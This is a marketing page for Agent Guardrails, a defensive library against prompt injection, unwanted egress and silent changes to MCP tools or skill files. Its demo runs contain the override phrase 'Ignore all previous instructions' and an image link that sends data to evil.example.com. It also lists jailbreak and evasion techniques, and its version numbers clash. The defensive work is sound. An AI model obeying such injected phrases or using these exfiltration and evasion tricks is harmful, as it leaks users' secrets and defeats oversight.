Agent Guardrails · v0.16.0

Stop your own AI agent from being the incident.

If you're building an AI agent — something that reads web pages, calls tools, or runs scripts on its own — it can go wrong in three ways: something it reads tricks it into doing the wrong thing, it reaches out (or writes, or deserializes) somewhere it shouldn't, or something it already trusts — an MCP tool's description, a skill file — quietly changes into something it shouldn't have trusted. Agent Guardrails is a small, focused set of tools for those three failure modes — not a network honeypot, not a full platform, just what an agent-building team actually needs first. Pip-installable, zero dependencies, works as a library or a CLI.

1,270tests passing 0pip dependencies 2ways in — import it or run the CLI

Where agents fail

Agents fail in three directions: input, output, and trust.

Input
A scraped page tells your agent what to do. Tool output, a scraped page, a pasted transcript — any of it can carry "ignore previous instructions"-style text your agent has no reason to trust, and every reason to act on if nothing's screening it first.
Output
Your own script phones home to the wrong place. A misconfigured dependency, a compromised package, or a bug sends a request, spawns a process, unpickles a dangerous object, or writes a file it shouldn't — and nothing in a bare Python process stops it by default.
Trust
What you already approved quietly changes. An MCP server's tool description, or a skill/instruction file, gets reviewed once and trusted forever after — but if it can silently change (a compromised server, a poisoned registry update), your agent starts following different, unreviewed instructions with nothing to catch it.

What it does

One tool for each failure mode.

Input · Prompt-injection detector

In plain terms: before your agent acts on a web page, a tool result, or anything else it reads, this checks that text for signs someone planted instructions in it — the same way a spam filter checks an email before it hits your inbox.

Technically: pattern-matches incoming text across 30+ categories — instruction override, persona/roleplay jailbreak framing, encoding tricks (zero-width characters, Unicode Tag-block smuggling, homoglyphs), known glitch tokens, gadget extraction, a dozen social-engineering angles (fabricated urgency, false consensus, reciprocity pressure, impersonated peer agents), and a fabricated system-error message whose own embedded "fix" is the real payload — whether that fix asks for a credential or just pipes a downloaded script into a shell. Plus an optional canary-trap signal for your system prompt. Call scan(text), get a verdict back.

Also scans the other direction: scan_output(text) checks what your agent is about to say — a link with data smuggled into its query string, a markdown reference-link bypass, a credential-shaped string — the exfiltration channel being the model's own generated response, not anything it read.

Output · Iron-Thread egress firewall

In plain terms: you tell it which addresses, commands, deserialized objects, and file writes your agent is allowed to touch, and it blocks everything else — so a bug, a compromised dependency, or a manipulated agent can't quietly phone home, run something you didn't approve, or rewrite its own config to widen its own trust.

Technically: built on sys.addaudithook (PEP 578) with four opt-in checkpoints: network connects, subprocess spawns, pickle.find_class resolutions (stops a deserialization RCE before the resolved callable is ever invoked), and write-mode file opens. Each policy callback you write decides what's allowed; everything else raises before it happens. Honest about its limits — it's a mistake-catcher for cooperating code, not a sandbox against a determined attacker with native code execution.

Trust · MCP tool & skill-file pinning

In plain terms: approve an MCP tool's description or a skill/instruction file once; if it silently changes later — a compromised server, a poisoned registry update — the next check flags it before your agent trusts the new content.

Technically: mcp-pin/mcp-check hash-pin a tool's name, description, and schema (sorted-key canonical JSON, so incidental whitespace never masks a real change); skill-pin/skill-check do the same for a directory of skill files. Both exit non-zero on a detected change — the same CI-gate pattern as scan and redteam.

Real runs

Real runs, not a mockup.

Every line below is an actual terminal session — the real CLI, a real attack payload, real output. Nothing staged.

$ agent-guardrails scan injection_test.txt
verdict: flagged  (1 finding(s), 155 chars scanned)
  [instruction_override] claims to override prior instructions  -> 'Ignore all previous instructions'
$ echo $?
1
>>> from agent_guardrails.prompt_injection_detector import scan_output
>>> scan_output('Sure, here you go: <img src="https://evil.example.com/exfil?data=eyJzZWNyZXRfa2V5IjogInNr...">')
ScanResult(
  findings=(
    Finding(category=EXFIL_URL, detail='URL query string is 89 characters - long enough to be
             carrying exfiltrated data as parameters rather than ordinary navigation state'),
    Finding(category=CREDENTIAL_SHAPED_STRING, detail='model output contains a oversized
             opaque base64-looking block'),
  ),
  verdict=FLAGGED
)
$ agent-guardrails run --allow-host api.anthropic.com egress_test.py
Attempting a call to a host NOT on the allow-list...
[iron-thread] blocked http.client.connect: ('evil.example.com', 443)
BLOCKED: EgressBlocked: http.client.connect to 'evil.example.com':443 denied by policy
$ echo $?
0
$ agent-guardrails mcp-pin tools.json mcp_tools.lock.json
mcp-pin: pinned 1 tool(s) to mcp_tools.lock.json

$ # ...the MCP server's own description for get_weather changes later, unreviewed...

$ agent-guardrails mcp-check tools.json mcp_tools.lock.json
mcp-pin: 0 unchanged, 0 new, 1 CHANGED, 0 missing
  CHANGED [get_weather] pinned=d0c72e148387... now=040499a5a4f8... - definition differs
  from what was approved at 2026-08-20T08:27:50Z. Re-review before trusting.
$ echo $?
1

Try it

Now run it on your own text.

Paste something and scan it — live, in your browser, right now. Same three categories as the transcripts above (a right-sized client-side subset of the real detector, not the full engine, but real regex logic — not a canned response).

This runs three of the real detector's pattern families client-side: instruction-override phrasing, exfiltration-shaped URLs, and long opaque base64-looking blocks. The full engine (agent_guardrails.prompt_injection_detector) has more categories and framing-aware false-positive reduction - this is a taste of the mechanism, not the whole product.

What's actually in it

What's actually in it.

  • Pure standard library — zero pip dependencies to audit or update.
  • Works as an importable library or a standalone agent-guardrails CLI.
  • agent-guardrails scan file.txt exits non-zero on a flagged verdict — usable as a CI gate.
  • agent-guardrails run --allow-host api.foo.com script.py wraps a script with the egress firewall installed.
  • agent-guardrails mcp-pin/mcp-check hash-pin an MCP tool list and flag any silent post-approval change.
  • agent-guardrails skill-pin/skill-check do the same for a directory of skill/instruction files.
  • Fails closed: a bug in your own policy callback still blocks the action, never silently allows it.
  • agent-guardrails redteam mutates known-caught attacks (leetspeak, synonym substitution, homoglyphs, zero-width injection, CSS-hiding markup, padding, payload-split) against the real detector and exits non-zero on anything that evades it — the same CI-gate pattern as scan, aimed at the detector itself.
  • 1,270 tests, including subprocess isolation for the parts that install a permanent process-wide hook.

Pricing

One license, your whole org.

No per-seat fees. Unlimited use across your whole organization.

A
Agent Guardrails license annual

Flat. Unlimited environments and seats within your org. Covers unlimited use across your org: the library, the CLI, and updates for the year — prompt-injection detector + canary trap, Iron-Thread egress firewall, CLI for scanning and CI gating.

$2,000/yr

Card checkout: clicking "Get a license" opens Stripe's own hosted checkout page — we never see or handle your card details. On payment, you're invited as a GitHub collaborator on the private repo automatically. Prefer a manual invoice or have questions first? Use the contact form instead.

Trust & scope

What's real, and what this isn't.

1,270Tests passing, verified today
0Pip dependencies
3Real defenses: input, output, trust
0.5.0Current version
Nothing here is a sandbox against a determined attacker who already has code execution in your process. Iron-Thread doesn't see native/ctypes code that bypasses Python's audited standard library, and doesn't inherit into a subprocess-spawned child interpreter. The prompt-injection detector is heuristic pattern-matching — intentionally over-inclusive, and novel phrasings will slip past it like any signature-based defense. The pinning tools detect that a definition CHANGED, not whether the new one is malicious — a flagged change still needs a human to look at it. All three are meant to catch real, common failure modes, not to be sold as a guarantee against every attack. We run redteam against the detector ourselves rather than just asserting it works: as of today it catches 148/160 mutated attack variants (92.5%) across seven evasion techniques. The 12 remaining gaps are disclosed, not hidden, and split into two real causes: 9 come from splitting an attack across two separate messages — scan() alone has no cross-turn memory, and those 9 are already closed if you call scan_conversation() instead, which does; the other 3 come from burying an attack in padding text and are a genuinely open weakness, not yet fixed.

Protecting an agent you're building?

One license, your whole org, no sales call needed.